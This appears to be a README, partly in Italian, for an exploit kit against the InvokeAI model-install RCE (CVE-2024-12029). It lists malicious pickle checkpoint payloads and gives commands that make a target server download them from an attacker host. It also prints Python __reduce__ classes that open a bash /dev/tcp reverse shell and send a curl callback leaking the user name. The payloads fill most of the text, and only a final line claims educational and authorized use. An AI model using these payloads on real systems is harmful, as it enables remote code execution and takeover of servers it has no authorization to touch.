
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
Questo repository contiene approcci alternativi di payload per la vulnerabilità RCE di InvokeAI (CVE-2024-12029) quando l'iniezione della chiave SSH fallisce. I payload sono progettati per verificare se la deserializzazione pickle sta effettivamente avvenendo e per fornire metodi di accesso alternativi.
Quando i payload di iniezione della chiave SSH vengono consegnati correttamente (Status 201) ma l'accesso SSH richiede ancora la password, ciò indica che:
payload_reverse_bash.ckpt (89 byte) - reverse shell Bashpayload_reverse_python.ckpt (267 byte) - reverse shell Pythonpayload_reverse_nc.ckpt (70 byte) - reverse shell Netcatpayload_callback_test.ckpt (115 byte) - callback HTTP per verificare la deserializzazionepayload_test.ckpt (90 byte) - semplice test di creazione filepayload_alt_exec.ckpt (223 byte) - metodo di esecuzione alternativopayload_ssh_simple.ckpt (271 byte) - iniezione di chiave SSH compatibile con Linuxkali_reverse_test.py - Suite di test completareverse_shell_payload.py - Genera payload reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt sul targetclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. Gli utenti sono responsabili di garantire di disporre della corretta autorizzazione prima di testare qualsiasi sistema.